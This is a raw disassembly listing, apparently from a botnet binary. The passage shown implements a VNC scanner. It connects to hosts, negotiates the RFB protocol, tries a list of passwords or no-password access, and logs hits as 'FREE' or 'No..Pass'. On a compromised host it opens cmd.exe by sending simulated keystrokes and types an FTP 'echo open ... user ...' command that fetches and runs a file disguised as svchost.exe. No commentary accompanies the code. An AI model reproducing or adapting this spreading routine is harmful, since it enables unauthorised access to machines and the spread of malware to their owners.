; =============== S U B	R O U T	I N E =======================================



sub_40CCEB	proc near		; CODE XREF: .text:0040D0F7p
					; .text:0040D135p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		mov	edi, [esp+4+arg_8]
		test	edi, edi
		jnz	short loc_40CCF8
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CCF8:				; CODE XREF: sub_40CCEB+7j
		push	esi
		xor	esi, esi
		test	edi, edi
		jle	short loc_40CD26


loc_40CCFF:				; CODE XREF: sub_40CCEB+39j
		push	0
		mov	eax, edi
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_419258	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40CD2C
		test	eax, eax
		jz	short loc_40CD2C
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40CCFF


loc_40CD26:				; CODE XREF: sub_40CCEB+12j
		xor	eax, eax
		inc	eax


loc_40CD29:				; CODE XREF: sub_40CCEB+43j
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CD2C:				; CODE XREF: sub_40CCEB+2Fj
					; sub_40CCEB+33j
		xor	eax, eax
		jmp	short loc_40CD29
sub_40CCEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD30	proc near		; CODE XREF: .text:0040D3CEp
					; .text:0040D493p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		test	esi, esi
		push	edi
		mov	edi, [esp+8+arg_4]
		jle	short loc_40CD4C
		push	esi
		push	edi
		push	[esp+10h+arg_0]
		call	sub_40CCB2
		add	esp, 0Ch


loc_40CD4C:				; CODE XREF: sub_40CD30+Cj
		and	byte ptr [edi+esi], 0
		pop	edi
		pop	esi
		retn
sub_40CD30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD53	proc near		; CODE XREF: sub_40CDF0+30p
					; sub_40CDF0+47p ...

var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	sub_40D7B0
		xor	ebx, ebx
		add	esp, 0Ch
		cmp	[ebp+arg_C], ebx
		jz	short loc_40CD7D
		cmp	[ebp+arg_C], edi
		jz	short loc_40CD7D
		push	edi
		push	edi
		jmp	short loc_40CD81
; ---------------------------------------------------------------------------


loc_40CD7D:				; CODE XREF: sub_40CD53+1Fj
					; sub_40CD53+24j
		push	edi
		push	[ebp+arg_C]


loc_40CD81:				; CODE XREF: sub_40CD53+28j
		lea	eax, [ebp+var_7]
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	4
		lea	eax, [ebp+var_6]
		push	ebx
		push	eax
		call	sub_40D7B0
		movsx	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_2]
		push	eax
		call	sub_40D7B0
		movsx	eax, [ebp+arg_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_1]
		push	eax
		call	sub_40D7B0
		mov	esi, dword_419258
		add	esp, 24h
		push	ebx
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	esi	; send
		cmp	[ebp+arg_C], edi
		jle	short loc_40CDEB
		push	edi
		lea	eax, [ebp+var_7]
		push	ebx
		push	eax
		call	sub_40D7B0
		add	esp, 0Ch
		push	ebx
		push	8
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	esi	; send


loc_40CDEB:				; CODE XREF: sub_40CD53+7Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40CD53	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CDF0	proc near		; CODE XREF: .text:0040D4F5p
					; .text:0040D5FEp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 24h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	7
		pop	ecx
		mov	esi, offset aSystemrootSyst ; "%systemroot%\\system32\\cmd.exe"
		lea	edi, [esp+34h+var_20]
		rep movsd
		movsw
		mov	esi, dword_419060
		mov	ebx, 7D0h
		push	ebx
		call	esi	; Sleep
		mov	edi, [esp+34h+arg_0]
		push	2
		push	0Dh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		mov	ebp, 1F4h
		push	ebp
		call	esi	; Sleep
		push	1
		push	0FFFFFFE3h
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		push	1
		push	0FFFFFFE9h
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		push	1
		push	0FFFFFF9Fh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 30h
		push	64h
		call	esi	; Sleep
		push	0
		push	0FFFFFF9Fh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		push	0
		push	0FFFFFFE9h
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		push	0
		push	0FFFFFFE3h
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 30h
		push	ebx
		call	esi	; Sleep
		mov	[esp+34h+var_24], 4


loc_40CE8D:				; CODE XREF: sub_40CDF0+B3j
		push	2
		push	54h
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	ebp
		call	esi	; Sleep
		dec	[esp+34h+var_24]
		jnz	short loc_40CE8D
		push	2
		push	0Dh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	ebx
		call	esi	; Sleep
		push	2
		push	0FFFFFFE9h
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	ebp
		call	esi	; Sleep
		push	2
		push	54h
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	ebp
		call	esi	; Sleep
		push	2
		push	0Dh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	ebx
		call	esi	; Sleep
		lea	eax, [esp+34h+var_20]
		push	eax
		xor	ebp, ebp
		call	sub_40D630
		test	eax, eax
		pop	ecx
		jbe	short loc_40CF26


loc_40CEFE:				; CODE XREF: sub_40CDF0+134j
		xor	eax, eax
		mov	al, [esp+ebp+34h+var_20]
		push	2
		push	eax
		push	0
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	7Dh
		call	esi	; Sleep
		lea	eax, [esp+34h+var_20]
		push	eax
		inc	ebp
		call	sub_40D630
		cmp	ebp, eax
		pop	ecx
		jb	short loc_40CEFE


loc_40CF26:				; CODE XREF: sub_40CDF0+10Cj
		push	2
		push	0Dh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	ebx
		call	esi	; Sleep
		push	[esp+34h+arg_4]
		xor	ebp, ebp
		call	sub_40D630
		test	eax, eax
		pop	ecx
		jbe	short loc_40CF71


loc_40CF48:				; CODE XREF: sub_40CDF0+17Fj
		mov	eax, [esp+34h+arg_4]
		movsx	eax, byte ptr [eax+ebp]
		push	2
		push	eax
		push	0
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	7Dh
		call	esi	; Sleep
		push	[esp+34h+arg_4]
		inc	ebp
		call	sub_40D630
		cmp	ebp, eax
		pop	ecx
		jb	short loc_40CF48


loc_40CF71:				; CODE XREF: sub_40CDF0+156j
		push	2
		push	0Dh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		push	ebx
		call	esi	; Sleep
		push	2
		push	0Dh
		push	0FFFFFFFFh
		push	edi
		call	sub_40CD53
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 24h
		retn
sub_40CDF0	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 498h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	edi, edi
		inc	esi
		mov	[ebp-18h], edi
		mov	[ebp-10h], esi
		mov	[ebp-24h], edi
		call	dword_4190A8	; GetTickCount
		push	eax
		call	sub_40E043
		call	sub_40E04D
		push	0Eh
		pop	ecx
		xor	edx, edx
		div	ecx
		mov	eax, offset aSvchost_exe ; "svchost.exe"
		push	eax
		push	eax
		push	offset aPassword ; "password"
		push	offset aMircosoft ; "mircosoft"
		push	dword_41E264
		lea	eax, [ebp-498h]
		push	offset aMs_microsoft_c ; "ms.microsoft.com"
		push	offset aCmdKEchoOpenSD ; "cmd /k echo open %s %d > o&echo user %s"...
		push	100h
		push	eax
		mov	[ebp-0Ch], edx
		call	sub_40DFEC
		add	esp, 28h
		push	edi
		push	esi
		push	2
		call	dword_419238	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40D32A
		mov	ebx, 0FF0000h
		mov	esi, 0FF00h


loc_40D023:				; CODE XREF: .text:0040D324j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4C4704
		push	dword ptr [ebp+0A8h]
		mov	[ebp-88h], eax
		mov	word ptr [ebp-8Ch], 2
		call	dword_4C47DC
		mov	[ebp-8Ah], ax
		push	10h
		lea	eax, [ebp-8Ch]
		push	eax
		push	edi
		call	dword_41923C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_40D32A
		push	0Ch
		lea	eax, [ebp-7Ch]
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D32A
		and	byte ptr [ebp-70h], 0
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-7Ch]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_40DCA4
		add	esp, 10h
		cmp	eax, 2
		jnz	loc_40D32A
		push	3
		pop	eax
		cmp	[ebp-14h], eax
		jnz	short loc_40D0D8
		cmp	[ebp-8], eax
		jl	loc_40D32A
		cmp	dword ptr [ebp-8], 8
		jnz	short loc_40D0D8
		cmp	dword ptr [ebp-10h], 0
		jz	short loc_40D0D8
		push	8
		push	eax
		lea	eax, [ebp-7Ch]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		jmp	short loc_40D0F0
; ---------------------------------------------------------------------------


loc_40D0D8:				; CODE XREF: .text:0040D0ABj
					; .text:0040D0BAj ...
		push	5
		push	eax
		lea	eax, [ebp-7Ch]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_40D6BB
		add	esp, 10h
		and	dword ptr [ebp-10h], 0


loc_40D0F0:				; CODE XREF: .text:0040D0D6j
		push	0Ch
		lea	eax, [ebp-7Ch]
		push	eax
		push	edi
		call	sub_40CCEB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D32A
		cmp	dword ptr [ebp-10h], 0
		lea	eax, [ebp-1Ch]
		jz	short loc_40D18C
		and	dword ptr [ebp-10h], 0
		push	2
		push	eax
		push	edi
		mov	word ptr [ebp-20h], 1
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D32A
		push	1
		lea	eax, [ebp-20h]
		push	eax
		push	edi
		call	sub_40CCEB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D32A
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D180
		mov	eax, [ebp-4]
		mov	ecx, eax
		mov	edx, eax
		shr	edx, 10h
		and	ecx, ebx
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-4], ecx
		jz	loc_40D331


loc_40D180:				; CODE XREF: .text:0040D156j
		push	edi
		call	dword_419240	; closesocket
		jmp	loc_40D2D0
; ---------------------------------------------------------------------------


loc_40D18C:				; CODE XREF: .text:0040D10Ej
		push	4
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D32A
		mov	ecx, [ebp-1Ch]
		mov	eax, ecx
		and	eax, ebx
		mov	edx, ecx
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-1Ch], eax
		sub	eax, 0
		jz	loc_40D2D7
		dec	eax
		jz	loc_40D50E
		dec	eax
		jnz	loc_40D3E8
		push	10h
		lea	eax, [ebp-9Ch]
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D32A
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 0Eh
		jnz	short loc_40D200
		and	dword ptr [ebp-0Ch], 0


loc_40D200:				; CODE XREF: .text:0040D1FAj
		mov	eax, [ebp-0Ch]
		push	0FFh
		push	off_420F34[eax*4]
		lea	eax, [ebp-1A4h]
		push	eax
		call	sub_40DB80
		lea	eax, [ebp-1A4h]
		push	eax
		call	sub_40D630
		and	byte ptr [ebp+eax-1A4h], 0
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-0A4h]
		push	eax
		call	sub_40CC65
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp-9Ch]
		push	eax
		call	sub_40CC0B
		push	10h
		lea	eax, [ebp-9Ch]
		push	eax
		push	edi
		call	sub_40CCEB
		add	esp, 2Ch
		test	eax, eax
		jz	loc_40D32A
		push	4
		lea	eax, [ebp-4]
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D32A
		mov	ecx, [ebp-4]
		mov	eax, ecx
		and	eax, ebx
		mov	edx, ecx
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-4], eax
		sub	eax, 0
		jz	loc_40D3F6
		dec	eax
		push	edi
		jnz	loc_40D3E9
		and	dword ptr [ebp-18h], 0
		call	dword_419240	; closesocket
		inc	dword ptr [ebp-24h]
		cmp	dword ptr [ebp-24h], 0Eh
		jz	loc_40D3EF


loc_40D2D0:				; CODE XREF: .text:0040D187j
		push	1388h
		jmp	short loc_40D2F0
; ---------------------------------------------------------------------------


loc_40D2D7:				; CODE XREF: .text:0040D1C5j
		push	edi
		call	dword_419240	; closesocket
		inc	dword ptr [ebp-18h]
		cmp	dword ptr [ebp-18h], 2
		jz	loc_40D3EF
		push	7D0h


loc_40D2F0:				; CODE XREF: .text:0040D2D5j
		call	dword_419060	; Sleep
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40D30B
		push	2
		push	edi
		call	dword_419228	; shutdown
		push	edi
		call	dword_419240	; closesocket


loc_40D30B:				; CODE XREF: .text:0040D2F9j
		push	64h
		call	dword_419060	; Sleep
		push	0
		push	1
		push	2
		call	dword_419238	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	loc_40D023


loc_40D32A:				; CODE XREF: .text:0040D013j
					; .text:0040D062j ...
		xor	esi, esi
		jmp	loc_40D500
; ---------------------------------------------------------------------------


loc_40D331:				; CODE XREF: .text:0040D17Aj
		push	1
		push	offset dword_419388
		push	edi
		call	sub_40CCEB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D4FD
		push	18h
		lea	eax, [ebp-6Ch]
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D4FD
		movzx	ax, byte ptr [ebp-6Bh]
		mov	ah, [ebp-6Ch]
		mov	ecx, [ebp-58h]
		mov	edx, ecx
		shr	edx, 10h
		mov	[ebp-6Ch], ax
		movzx	ax, byte ptr [ebp-69h]
		mov	ah, [ebp-6Ah]
		mov	[ebp-6Ah], ax
		movzx	ax, byte ptr [ebp-63h]
		mov	ah, [ebp-64h]
		mov	[ebp-64h], ax
		movzx	ax, byte ptr [ebp-61h]
		mov	ah, [ebp-62h]
		mov	[ebp-62h], ax
		movzx	ax, byte ptr [ebp-5Fh]
		mov	ah, [ebp-60h]
		mov	[ebp-60h], ax
		mov	eax, ecx
		and	eax, ebx
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-58h], eax
		add	eax, 2
		push	eax
		call	sub_40F6C6
		push	dword ptr [ebp-58h]
		mov	esi, eax
		push	esi
		push	edi
		call	sub_40CD30
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-14h]
		push	offset aV_n_cD_DSSFree ; "V.N.C%d.%d %s: %s - FREE"
		jmp	loc_40D5B8
; ---------------------------------------------------------------------------


loc_40D3E8:				; CODE XREF: .text:0040D1D3j
		push	edi


loc_40D3E9:				; CODE XREF: .text:0040D2B3j
		call	dword_419240	; closesocket


loc_40D3EF:				; CODE XREF: .text:0040D2CAj
					; .text:0040D2E5j
		xor	eax, eax


loc_40D3F1:				; CODE XREF: .text:0040D509j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40D3F6:				; CODE XREF: .text:0040D2ABj
		push	1
		push	offset dword_419388
		push	edi
		call	sub_40CCEB
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D4FD
		push	18h
		lea	eax, [ebp-3Ch]
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40D4FD
		movzx	ax, byte ptr [ebp-3Bh]
		mov	ah, [ebp-3Ch]
		mov	ecx, [ebp-28h]
		mov	edx, ecx
		shr	edx, 10h
		mov	[ebp-3Ch], ax
		movzx	ax, byte ptr [ebp-39h]
		mov	ah, [ebp-3Ah]
		mov	[ebp-3Ah], ax
		movzx	ax, byte ptr [ebp-33h]
		mov	ah, [ebp-34h]
		mov	[ebp-34h], ax
		movzx	ax, byte ptr [ebp-31h]
		mov	ah, [ebp-32h]
		mov	[ebp-32h], ax
		movzx	ax, byte ptr [ebp-2Fh]
		mov	ah, [ebp-30h]
		mov	[ebp-30h], ax
		mov	eax, ecx
		and	eax, ebx
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-28h], eax
		add	eax, 2
		push	eax
		call	sub_40F6C6
		push	dword ptr [ebp-28h]
		mov	esi, eax
		push	esi
		push	edi
		call	sub_40CD30
		lea	eax, [ebp-1A4h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-8]
		mov	esi, 1F4h
		push	dword ptr [ebp-14h]
		lea	eax, [ebp-398h]
		push	offset aV_n_cD_DSSS ; "V.N.C%d.%d %s: %s - %s"
		push	esi
		push	eax
		call	sub_40DFEC
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-398h]
		push	eax
		push	offset dword_41E1B4
		push	dword ptr [ebp+8]
		call	sub_4017B6
		add	esp, 40h
		push	esi
		lea	eax, [ebp-398h]
		push	0
		push	eax
		call	sub_40D7B0
		lea	eax, [ebp-498h]
		push	eax
		push	edi
		call	sub_40CDF0
		add	esp, 14h


loc_40D4FD:				; CODE XREF: .text:0040D343j
					; .text:0040D35Aj ...
		xor	esi, esi
		inc	esi


loc_40D500:				; CODE XREF: .text:0040D32Cj
		push	edi
		call	dword_419240	; closesocket
		mov	eax, esi
		jmp	loc_40D3F1
; ---------------------------------------------------------------------------


loc_40D50E:				; CODE XREF: .text:0040D1CCj
		push	1
		push	offset dword_419388
		push	edi
		call	sub_40CCEB
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4FD
		push	18h
		lea	eax, [ebp-54h]
		push	eax
		push	edi
		call	sub_40CCB2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4FD
		movzx	ax, byte ptr [ebp-53h]
		mov	ah, [ebp-54h]
		mov	ecx, [ebp-40h]
		mov	edx, ecx
		shr	edx, 10h
		mov	[ebp-54h], ax
		movzx	ax, byte ptr [ebp-51h]
		mov	ah, [ebp-52h]
		mov	[ebp-52h], ax
		movzx	ax, byte ptr [ebp-4Bh]
		mov	ah, [ebp-4Ch]
		mov	[ebp-4Ch], ax
		movzx	ax, byte ptr [ebp-49h]
		mov	ah, [ebp-4Ah]
		mov	[ebp-4Ah], ax
		movzx	ax, byte ptr [ebp-47h]
		mov	ah, [ebp-48h]
		mov	[ebp-48h], ax
		mov	eax, ecx
		and	eax, ebx
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-40h], eax
		add	eax, 2
		push	eax
		call	sub_40F6C6
		push	dword ptr [ebp-40h]
		mov	esi, eax
		push	esi
		push	edi
		call	sub_40CD30
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-8]
		push	dword ptr [ebp-14h]
		push	offset aV_n_cD_DSSNo__ ; "V.N.C%d.%d %s: %s - No..Pass"


loc_40D5B8:				; CODE XREF: .text:0040D3E3j
		mov	esi, 1F4h
		lea	eax, [ebp-398h]
		push	esi
		push	eax
		call	sub_40DFEC
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-398h]
		push	eax
		push	offset dword_41E1B4
		push	dword ptr [ebp+8]
		call	sub_4017B6
		push	esi
		lea	eax, [ebp-398h]
		push	0
		push	eax
		call	sub_40D7B0
		add	esp, 48h
		lea	eax, [ebp-498h]
		push	eax
		push	edi
		call	sub_40CDF0
		pop	ecx
		pop	ecx
		jmp	loc_40D4FD

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D60A	proc near		; CODE XREF: sub_40BEF1+5Ep
		jmp	dword_419218
sub_40D60A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D610	proc near		; CODE XREF: sub_401073+E7p
		jmp	dword_419068
sub_40D610	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D616	proc near		; CODE XREF: sub_401073+3Fp
					; sub_409427+163p
		jmp	dword_41907C
sub_40D616	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D61C	proc near		; CODE XREF: sub_401073+26p
					; sub_4012BA+50p ...
		jmp	dword_419080
sub_40D61C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D622	proc near		; CODE XREF: sub_4012BA+F5p
					; sub_40151D+F5p
		jmp	dword_419088
sub_40D622	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40D628	proc near		; CODE XREF: sub_4012BA+6Cp
					; sub_40151D+6Cp
		jmp	dword_41908C
sub_40D628	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D630	proc near		; CODE XREF: start+38p	sub_401073+CEp	...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40D660


loc_40D63C:				; CODE XREF: sub_40D630+1Bj
		mov	al, [ecx]
		add	ecx, 1
		test	al, al
		jz	short loc_40D693
		test	ecx, 3
		jnz	short loc_40D63C
		add	eax, 0
		lea	esp, [esp+0]
		lea	esp, [esp+0]


loc_40D660:				; CODE XREF: sub_40D630+Aj
					; sub_40D630+46j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40D660
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40D6B1
		test	ah, ah
		jz	short loc_40D6A7
		test	eax, 0FF0000h
		jz	short loc_40D69D
		test	eax, 0FF000000h
		jz	short loc_40D693
		jmp	short loc_40D660
; ---------------------------------------------------------------------------


loc_40D693:				; CODE XREF: sub_40D630+13j
					; sub_40D630+5Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40D69D:				; CODE XREF: sub_40D630+58j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40D6A7:				; CODE XREF: sub_40D630+51j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40D6B1:				; CODE XREF: sub_40D630+4Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40D630	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40D6BB	proc near		; CODE XREF: sub_401073+C3p
					; sub_4013E5+D3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_40FBCF
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_40D70D
		dec	[ebp+var_1C]
		js	short loc_40D700
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40D70D
; ---------------------------------------------------------------------------


loc_40D700:				; CODE XREF: sub_40D6BB+3Bj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40FA2B
		pop	ecx
		pop	ecx


loc_40D70D:				; CODE XREF: sub_40D6BB+36j
					; sub_40D6BB+43j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40D6BB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D720	proc near		; CODE XREF: sub_401073+5Cp
					; sub_40198E+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40D76C


loc_40D730:				; CODE XREF: sub_40D720+3Cj
					; sub_40D720+6Aj ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40D764
		or	al, al
		jz	short loc_40D760
		cmp	ah, [ecx+1]
		jnz	short loc_40D764
		or	ah, ah
		jz	short loc_40D760
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40D764
		or	al, al
		jz	short loc_40D760
		cmp	ah, [ecx+3]
		jnz	short loc_40D764
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40D730
		mov	edi, edi


loc_40D760:				; CODE XREF: sub_40D720+18j
					; sub_40D720+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40D764:				; CODE XREF: sub_40D720+14j
					; sub_40D720+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		add	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_40D76C:				; CODE XREF: sub_40D720+Ej
		test	edx, 1
		jz	short loc_40D78C
		mov	al, [edx]
		add	edx, 1
		cmp	al, [ecx]
		jnz	short loc_40D764
		add	ecx, 1
		or	al, al
		jz	short loc_40D760
		test	edx, 2
		jz	short loc_40D730


loc_40D78C:				; CODE XREF: sub_40D720+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40D764
		or	al, al
		jz	short loc_40D760
		cmp	ah, [ecx+1]
		jnz	short loc_40D764
		or	ah, ah
		jz	short loc_40D760
		add	ecx, 2
		jmp	short loc_40D730
sub_40D720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40D7B0	proc near		; CODE XREF: sub_401179+11Cp
					; sub_4013E5+113p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40D80B
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40D7FB
		neg	ecx
		and	ecx, 3
		jz	short loc_40D7DD
		sub	edx, ecx


loc_40D7D3:				; CODE XREF: sub_40D7B0+2Bj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jnz	short loc_40D7D3


loc_40D7DD:				; CODE XREF: sub_40D7B0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40D7FB
		rep stosd
		test	edx, edx
		jz	short loc_40D805


loc_40D7FB:				; CODE XREF: sub_40D7B0+18j
					; sub_40D7B0+43j ...
		mov	[edi], al
		add	edi, 1
		sub	edx, 1
